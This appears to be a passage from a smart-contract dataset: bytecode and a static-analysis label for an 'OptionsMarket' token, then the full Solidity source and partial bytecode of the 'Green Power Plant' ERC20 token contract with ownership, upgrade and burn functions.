80a86681565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602e80845291936001600160601b03909116928592610636928892919061188390830139610e7a565b9050866001600160a01b0316836001600160a01b03161415801561066357506001600160601b0382811614155b1561070957600061068d838360405180608001604052806046815260200161164360469139610f14565b6001600160a01b03898116600081815260208181526040808320948a168084529482529182902080546001600160601b0319166001600160601b03871690811790915582519081529151949550929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a3505b610714878783610f81565b5060019695505050505050565b601281565b6002602052600090815260409020546001600160a01b031681565b61074b3382611166565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b60004382106107ca5760405162461bcd60e51b81526004018080602001828103825260308152602001806116896030913960400191505060405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff16806107f85760009150506105a7565b6001600160a01b038416600090815260036020908152604080832063ffffffff600019860181168552925290912054168310610874576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b031690506105a7565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff168310156108af5760009150506105a7565b600060001982015b8163ffffffff168163ffffffff16111561097257600282820363ffffffff160481036108e1611600565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b0316918101919091529087141561094d576020015194506105a79350505050565b805163ffffffff168711156109645781935061096b565b6001820392505b50506108b7565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b604051806040016040528060038152602001624f534d60e81b81525081565b600080610a0d836040518060600160405280602f81526020016118b1602f9139610e7a565b9050610a1a338583610f81565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff1680610a4f576000610a8e565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03165b9392505050565b60408051808201909152600e81526d13dc1d1a5bdb9ccb93585c9ad95d60921b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667f0542378046fe03fa68543c21e9106a28e4ef3338680fe3b5a157a3bac5af3363610b076111f0565b60408051602080820195909552808201939093526060830191909152306080808401919091528151808403909101815260a0830182528051908401207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08401526001600160a01b038b1660e084015261010083018a90526101208084018a9052825180850390910181526101408401835280519085012061190160f01b6101608501526101628401829052610182808501829052835180860390910181526101a290940190925282519290930191909120919250907f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0841115610c3d5760405162461bcd60e51b81526004018080602001828103825260228152602001806116e86022913960400191505060405180910390fd5b8560ff16601b1480610c5257508560ff16601c145b610c8d5760405162461bcd60e51b81526004018080602001828103825260228152602001806118286022913960400191505060405180910390fd5b600060018288888860405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015610ce9573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610d3b5760405162461bcd60e51b815260040180806020018281038252602f81526020018061170a602f913960400191505060405180910390fd5b6001600160a01b03811660009081526005602052604090208054600181019091558914610d995760405162461bcd60e51b815260040180806020018281038252602b815260200180611618602b913960400191505060405180910390fd5b87421115610dd85760405162461bcd60e51b815260040180806020018281038252602f8152602001806116b9602f913960400191505060405180910390fd5b610de2818b611166565b505050505b505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610f0c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ed1578181015183820152602001610eb9565b50505050905090810190601f168015610efe5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b509192915050565b6000836001600160601b0316836001600160601b031611158290610f795760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610ed1578181015183820152602001610eb9565b505050900390565b6001600160a01b038316610fc65760405162461bcd60e51b81526004018080602001828103825260458152602001806118e06045913960600191505060405180910390fd5b6001600160a01b03821661100b5760405162461bcd60e51b81526004018080602001828103825260438152602001806117396043913960600191505060405180910390fd5b6001600160a01b03831660009081526001602090815260409182902054825160608101909352603f808452611056936001600160601b0390921692859291906117ac90830139610f14565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b039687161790559286168252908290205482516060810190935260398084526110be949190911692859290919061184a908301396111f4565b6001600160a01b0383811660008181526001602090815260409182902080546001600160601b0319166001600160601b039687161790558151948616855290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a36001600160a01b038084166000908152600260205260408082205485841683529120546111619291821691168361125e565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a46111ea82848361125e565b50505050565b4690565b6000838301826001600160601b0380871690831610156112555760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610ed1578181015183820152602001610eb9565b50949350505050565b816001600160a01b0316836001600160a01b03161415801561128957506000816001600160601b0316115b15611161576001600160a01b03831615611341576001600160a01b03831660009081526004602052604081205463ffffffff1690816112c9576000611308565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b9050600061132f828560405180606001604052806031815260200161192560319139610f14565b905061133d868484846113ec565b5050505b6001600160a01b03821615611161576001600160a01b03821660009081526004602052604081205463ffffffff16908161137c5760006113bb565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b905060006113e2828560405180606001604052806030815260200161177c603091396111f4565b9050610de7858484845b6000611410436040518060600160405280603d81526020016117eb603d91396115ab565b905060008463ffffffff1611801561145957506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b156114b8576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b03851602179055611557565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b604080516001600160601b0380861682528416602082015281516001600160a01b038816927fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724928290030190a25050505050565b600081600160201b8410610f0c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610ed1578181015183820152602001610eb9565b60408051808201909152600080825260208201529056fe4f7074696f6e734d61726b65743a3a64656c656761746542795369673a20696e76616c6964206e6f6e63654f7074696f6e734d61726b65743a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63654f7074696f6e734d61726b65743a3a6765745072696f72566f7465733a206e6f74207965742064657465726d696e65644f7074696f6e734d61726b65743a3a64656c656761746542795369673a207369676e6174757265206578706972656445434453413a20696e76616c6964207369676e6174757265202773272076616c75654f7074696f6e734d61726b65743a3a64656c656761746542795369673a20696e76616c6964207369676e61747572654f7074696f6e734d61726b65743a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e7366657220746f20746865207a65726f20616464726573734f7074696f6e734d61726b65743a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77734f7074696f6e734d61726b65743a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f7074696f6e734d61726b65743a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747345434453413a20696e76616c6964207369676e6174757265202776272076616c75654f7074696f6e734d61726b65743a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77734f7074696f6e734d61726b65743a3a617070726f76653a20616d6f756e74206578636565647320393620626974734f7074696f6e734d61726b65743a3a7472616e736665723a20616d6f756e74206578636565647320393620626974734f7074696f6e734d61726b65743a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f20616464726573734f7074696f6e734d61726b65743a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773a264697066735822122069bfabf5fc4bc06659b5b18c12e4ea308cc4375e6ed3a5319d10db29dfef8e2264736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 3,751 |
0xfc79e73c4aae75e2a2da2431a1b6deda3b8056d5
|
pragma solidity >=0.4.21 <0.6.0;
//
interface ERC20 {
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface TokenVoluntaryUpgrade {
function setUpgradeContract(address _upgradeContractAddress) external returns(bool);
function burnAfterUpgrade(uint256 value) external returns (bool success);
event UpgradeContractChange(address owner, address indexed _exchangeContractAddress);
event UpgradeBurn(address indexed _exchangeContract, uint256 _value);
}
//
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
//
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function uintSub(uint a, uint b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/ownership/Ownable.sol
// b7d60f2f9a849c5c2d59e24062f9c09f3390487a
// with some minor changes
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Only owner can do that");
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "newOwner parameter must be set");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
//
contract GreenPowerPlantToken is Ownable, TokenVoluntaryUpgrade {
string internal _name = "Green Power Plant";
string internal _symbol = "GPP";
string internal _standard = "ERC20";
uint8 internal _decimals = 18;
uint internal _totalSupply = 80000 * 1 ether;
//
string internal _trustedIPNS = "";
//
address internal _upgradeContract = address(0);
//
mapping(address => uint256) internal balances;
mapping(address => mapping(address => uint256)) internal allowed;
//
event Transfer(
address indexed _from,
address indexed _to,
uint256 _value
);
//
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
//
event UpgradeContractChange(
address owner,
address indexed _exchangeContractAddress
);
//
event UpgradeBurn(
address indexed _upgradeContract,
uint256 _value
);
//
constructor () public Ownable() {
balances[msg.sender] = totalSupply();
}
// Try to prevent sending ETH to SmartContract by mistake.
function () external payable {
revert("This SmartContract is not payable");
}
//
// Getters and Setters
//
function name() public view returns (string memory) {
return _name;
}
//
function symbol() public view returns (string memory) {
return _symbol;
}
//
function standard() public view returns (string memory) {
return _standard;
}
//
function decimals() public view returns (uint8) {
return _decimals;
}
//
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
//
// Contract common functions
//
function transfer(address _to, uint256 _value) public returns (bool) {
//
require(_to != address(0), "'_to' address has to be set");
require(_value <= balances[msg.sender], "Insufficient balance");
//
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
//
emit Transfer(msg.sender, _to, _value);
return true;
}
//
function approve(address _spender, uint256 _value) public returns (bool success) {
require (_spender != address(0), "_spender address has to be set");
require (_value > 0, "'_value' parameter has to greater than 0");
//
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
//
function safeApprove(address _spender, uint256 _currentValue, uint256 _value) public returns (bool success) {
// If current allowance for _spender is equal to _currentValue, then
// overwrite it with _value and return true, otherwise return false.
if (allowed[msg.sender][_spender] == _currentValue) return approve(_spender, _value);
return false;
}
//
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
//
require(_from != address(0), "'_from' address has to be set");
require(_to != address(0), "'_to' address has to be set");
require(_value <= balances[_from], "Insufficient balance");
require(_value <= allowed[_from][msg.sender], "Insufficient allowance");
//
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
//
emit Transfer(_from, _to, _value);
//
return true;
}
//
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
//
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
// Voluntary token upgrade logic
//
/**
* @dev Gets trusted IPNS address
*/
function trustedIPNS() public view returns(string memory) {
return _trustedIPNS;
}
function setTrustedIPNS(string memory _trustedIPNSparam) public onlyOwner returns(bool) {
_trustedIPNS = _trustedIPNSparam;
return true;
}
//
/**
* @dev Gets SmartContract that could upgrade Tokens - empty == no upgrade
*/
function upgradeContract() public view returns(address) {
return _upgradeContract;
}
//
/**
* @dev Sets SmartContract that could upgrade Tokens to a new version in a future
*/
function setUpgradeContract(address _upgradeContractAddress) public onlyOwner returns(bool) {
_upgradeContract = _upgradeContractAddress;
emit UpgradeContractChange(msg.sender, _upgradeContract);
//
return true;
}
function burnAfterUpgrade(uint256 _value) public returns (bool success) {
require(_upgradeContract != address(0), "upgradeContract is not set");
require(msg.sender == _upgradeContract, "only upgradeContract can execute token burning");
require(_value <= balances[msg.sender], "Insufficient balance");
//
_totalSupply = SafeMath.sub(_totalSupply, _value);
balances[msg.sender] = SafeMath.sub(balances[msg.sender],_value);
emit UpgradeBurn(msg.sender, _value);
//
return true;
}
//
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
_totalSupply = SafeMath.sub(_totalSupply, _value);
emit Transfer(msg.sender, address(0), _value);
}
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101b1578063095ea7b31461024157806318160ddd146102b45780631f4e1504146102df57806323b872dd14610336578063313ce567146103c957806337b33eef146103fa57806342966c681461044d5780635a3b7e42146104885780636a03de161461051857806370a08231146105f8578063715018a61461065d5780638da5cb5b146106745780638f32d59b146106cb57806395d89b41146106fa578063a9059cbb1461078a578063b6bcad26146107fd578063dc8ea6eb14610866578063dd62ed3e146108f6578063f2fde38b1461097b578063f6503662146109cc575b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f5468697320536d617274436f6e7472616374206973206e6f742070617961626c81526020017f650000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b3480156101bd57600080fd5b506101c6610a49565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102065780820151818401526020810190506101eb565b50505050905090810190601f1680156102335780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561024d57600080fd5b5061029a6004803603604081101561026457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aeb565b604051808215151515815260200191505060405180910390f35b3480156102c057600080fd5b506102c9610d1f565b6040518082815260200191505060405180910390f35b3480156102eb57600080fd5b506102f4610d29565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034257600080fd5b506103af6004803603606081101561035957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d53565b604051808215151515815260200191505060405180910390f35b3480156103d557600080fd5b506103de6112d7565b604051808260ff1660ff16815260200191505060405180910390f35b34801561040657600080fd5b506104336004803603602081101561041d57600080fd5b81019080803590602001909291905050506112ee565b604051808215151515815260200191505060405180910390f35b34801561045957600080fd5b506104866004803603602081101561047057600080fd5b810190808035906020019092919050505061164d565b005b34801561049457600080fd5b5061049d6117a2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104dd5780820151818401526020810190506104c2565b50505050905090810190601f16801561050a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561052457600080fd5b506105de6004803603602081101561053b57600080fd5b810190808035906020019064010000000081111561055857600080fd5b82018360208201111561056a57600080fd5b8035906020019184600183028401116401000000008311171561058c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611844565b604051808215151515815260200191505060405180910390f35b34801561060457600080fd5b506106476004803603602081101561061b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118e2565b6040518082815260200191505060405180910390f35b34801561066957600080fd5b5061067261192b565b005b34801561068057600080fd5b50610689611a66565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d757600080fd5b506106e0611a8f565b604051808215151515815260200191505060405180910390f35b34801561070657600080fd5b5061070f611ae6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561074f578082015181840152602081019050610734565b50505050905090810190601f16801561077c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079657600080fd5b506107e3600480360360408110156107ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b88565b604051808215151515815260200191505060405180910390f35b34801561080957600080fd5b5061084c6004803603602081101561082057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e6c565b604051808215151515815260200191505060405180910390f35b34801561087257600080fd5b5061087b611fd0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108bb5780820151818401526020810190506108a0565b50505050905090810190601f1680156108e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561090257600080fd5b506109656004803603604081101561091957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612072565b6040518082815260200191505060405180910390f35b34801561098757600080fd5b506109ca6004803603602081101561099e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120f9565b005b3480156109d857600080fd5b50610a2f600480360360608110156109ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050612181565b604051808215151515815260200191505060405180910390f35b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ae15780601f10610ab657610100808354040283529160200191610ae1565b820191906000526020600020905b815481529060010190602001808311610ac457829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b91576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5f7370656e64657220616464726573732068617320746f20626520736574000081525060200191505060405180910390fd5b600082111515610c2f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001807f275f76616c75652720706172616d657465722068617320746f2067726561746581526020017f72207468616e203000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b81600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610df9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f275f66726f6d2720616464726573732068617320746f2062652073657400000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e9e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f275f746f2720616464726573732068617320746f20626520736574000000000081525060200191505060405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611049576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f496e73756666696369656e7420616c6c6f77616e63650000000000000000000081525060200191505060405180910390fd5b6110cf600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612224565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611198600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612224565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611224600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361223d565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600460009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156113b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f75706772616465436f6e7472616374206973206e6f742073657400000000000081525060200191505060405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f6f6e6c792075706772616465436f6e74726163742063616e206578656375746581526020017f20746f6b656e206275726e696e6700000000000000000000000000000000000081525060400191505060405180910390fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611558576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b61156460055483612224565b6005819055506115b3600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612224565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167fb0a4f77db75575c1a4752da30a16112ce999f2337667d95b12ef4f557dd07189836040518082815260200191505060405180910390a260019050919050565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561169b57600080fd5b6116e4600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612224565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061173360055482612224565b600581905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561183a5780601f1061180f5761010080835404028352916020019161183a565b820191906000526020600020905b81548152906001019060200180831161181d57829003601f168201915b5050505050905090565b600061184e611a8f565b15156118c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4f6e6c79206f776e65722063616e20646f20746861740000000000000000000081525060200191505060405180910390fd5b81600690805190602001906118d89291906123be565b5060019050919050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611933611a8f565b15156119a7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4f6e6c79206f776e65722063616e20646f20746861740000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b606060028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b7e5780601f10611b5357610100808354040283529160200191611b7e565b820191906000526020600020905b815481529060010190602001808311611b6157829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c2e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f275f746f2720616464726573732068617320746f20626520736574000000000081525060200191505060405180910390fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611ce5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b611d2e600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612224565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dba600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361223d565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611e76611a8f565b1515611eea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4f6e6c79206f776e65722063616e20646f20746861740000000000000000000081525060200191505060405180910390fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ffe57946745427edeb0825929eee7672666b2220c4b2fb93b7cfed795639c9f4233604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a260019050919050565b606060068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561206857